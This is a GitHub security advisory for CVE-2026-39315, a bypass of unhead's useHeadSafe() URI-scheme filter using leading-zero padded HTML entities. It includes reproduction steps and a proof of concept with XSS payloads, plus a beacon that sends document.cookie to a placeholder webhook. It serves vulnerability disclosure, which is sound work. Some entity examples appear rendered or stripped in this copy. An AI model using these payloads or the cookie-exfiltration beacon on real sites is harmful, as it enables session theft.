GitHub Advisoryadvisory · npm
GHSA-95h2-gj7x-gx9w Unhead has a hasDangerousProtocol() bypass via leading-zero padded HTML entities in useHeadSafe()
MEDIUM
Official page ↗
- Aliases
- CVE-2026-39315
- Ecosystem
- npm
- Packages
- unhead
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-184
- Reviewed
- 2026-04-09
Affected packages
• npm unhead: < 2.1.13 → fixed in 2.1.13
Description
EVIDENCE
| Disclosed to Vercel H1 | 2026-03-22 (no response after 12 days) |
| Cross-reported here | 2026-04-03 |
---
Summary
`useHeadSafe()` is the composable that Nuxt's own documentation explicitly recommends
for rendering user-supplied content in `` safely. Internally, the
`hasDangerousProtocol()` function in `packages/unhead/src/plugins/safe.ts` decodes
HTML entities before checking for blocked URI schemes (`javascript:`, `data:`,
`vbscript:`). The decoder uses two regular expressions with fixed-width digit caps:
```js
// Current — vulnerable
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
const HtmlEntityDec = /&#(\d{1,7});?/g
```
The HTML5 specification imposes no limit on leading zeros in numeric character
references. Both of the following are valid, spec-compliant encodings of `:` (U+003A):
• `:` — 10 decimal digits, exceeds the `\d{1,7}` cap
• `:` — 7 hex digits, exceeds the `[0-9a-f]{1,6}` cap
When a padded entity exceeds the regex digit cap, the decoder silently skips it. The
undecoded string is then passed to `startsWith('javascript:')`, which does not match.
`makeTagSafe()` writes the raw value directly into SSR HTML output. The browser's HTML
parser decodes the padded entity natively and constructs the blocked URI.
> Note: This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv,
> which was an attribute *key* injection via the `data-*` prefix. This finding targets
> the attribute *value* decoder — a different code path with a different root cause and
> a different fix.
---
Root Cause Analysis
Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11)
```js
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi // cap: 6 hex digits max
const HtmlEntityDec = /&#(\d{1,7});?/g // cap: 7 decimal digits max
```
Why the bypass works
The HTML5 parser specification ([§ Numeric character reference end state][html5-spec])
states that leading zeros in numeric character references are valid and the number of
digits is unbounded. A conformant browser will decode `:` as `:` regardless
of the number of leading zeros.
Because the regex caps are lower than the digit counts an attacker can supply, the
entity match fails silently. The raw padded string (`java:script:alert(1)`)
is passed unchanged to the scheme check. `startsWith('javascript:')` returns `false`,
and the value is rendered into SSR output verbatim. The browser then decodes the entity
and the blocked scheme is present in the live DOM.
---
Steps to Reproduce
Environment
• Nuxt: 4.x (current)
• unhead: 2.1.12 (current at time of report)
• Node: 20 LTS
• Chrome: 146+
Step 1 — Create a fresh Nuxt 4 project
```bash
npx nuxi init poc
cd poc
npm install
```
Step 2 — Replace `pages/index.vue`
```vue
useHeadSafe bypass PoC
View page source or run the curl command below.
import { useHeadSafe } from '#imports'
useHeadSafe({
link: [
// 10-digit decimal padding — exceeds \d{1,7} cap
{ rel: 'stylesheet', href: 'java:script:alert(1)' },
// 7-digit hex padding — exceeds [0-9a-f]{1,6} cap
{ rel: 'icon', href: 'data:text/html,alert(document.cookie)' }
]
})
```
Step 3 — Start the dev server and inspect SSR output
```bash
npm run dev
```
In a separate terminal:
```bash
curl -s http://localhost:3000 | grep '
alert(document.cookie)" rel="icon">
```
Both `javascript:` and `data:` — explicitly enumerated in the `hasDangerousProtocol()`
blocklist — are present in server-rendered HTML. The browser decodes the padded entities
natively on load.
---
Confirmed Execution Path (data: URI via iframe, Chrome 146+)
Immediate script execution from `` tags does not occur automatically — browsers
do not create a browsing context from ``. The exploitability of this bypass
therefore depends on whether downstream application code consumes `` href values.
This is a common pattern in real-world Nuxt applications:
• Head management libraries that hydrate or re-process `` tags on the client
• SEO and analytics scripts that read canonical or icon link values
• Application features that preview, validate, or forward link URLs into iframes
• Developer tooling that loads icon URLs for thumbnail generation
Chrome 146+ permits `data:` URIs loaded into iframes even though top-level `data:`
navigation has been blocked since Chrome 60. The following snippet — representative
of any downstream consumer that forwards `` into an iframe — triggers
confirmed script execution:
```js
// Simulates downstream head-management or SEO utility reading a href
const link = document.querySelector('link[rel="icon"]');
if (link) {
const iframe = document.createElement('iframe');
iframe.src = link.href; // browser decodes : → ':', constructs data: URI
document.body.appendChild(iframe); // alert() fires
}
```
Full PoC with cookie exfiltration beacon
> Replace `ADD-YOUR-WEBHOOK-URL-HERE` with a webhook.site URL before running.
```vue
useHeadSafe padded entity bypass — full PoC
Dummy cookie: Loading…
import { useHeadSafe } from '#imports'
import { onMounted } from 'vue'
onMounted(() => {
document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None'
const el = document.getElementById('cookie-display')
if (el) el.textContent = document.cookie
// Simulate downstream consumption: load the bypassed icon href into an iframe
const link = document.querySelector('link[rel="icon"]')
if (link) {
const iframe = document.createElement('iframe')
iframe.src = link.href
iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px'
document.body.appendChild(iframe)
}
})
const webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'
useHeadSafe({
link: [
{
rel: 'icon',
href: `data:text/html;base64,${btoa(`
alert('XSS via useHeadSafe padded entity bypass');
new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({
finding: 'useHeadSafe hasDangerousProtocol bypass',
cookie: document.cookie || 'session=super-secret-token-12345 (dummy)',
origin: location.origin,
ts: Date.now()
}));
`)}`
}
]
})
```
Observed result:
1. `alert()` fires from inside the iframe's `data:` document context
2. Webhook receives a GET request with the cookie value and origin in the query string
3. Page source confirms `:` is present unescaped in the SSR-rendered `` tag
> All testing was performed aga…
Related
Alias · CVE (1)
- CVE-2026-39315 Unhead is a document head and template manager. vulnerability
Weakness · CWE (1)
- CWE-184 Incomplete List of Disallowed Inputs weakness
References
- https://github.com/unjs/unhead/security/advisories/GHSA-95h2-gj7x-gx9w web
- https://nvd.nist.gov/vuln/detail/CVE-2026-39315 advisory
- https://github.com/unjs/unhead/commit/961ea781e091853812ffe17f8cda17105d2d2299 web
- https://github.com/unjs/unhead package
- https://github.com/unjs/unhead/releases/tag/v2.1.13 web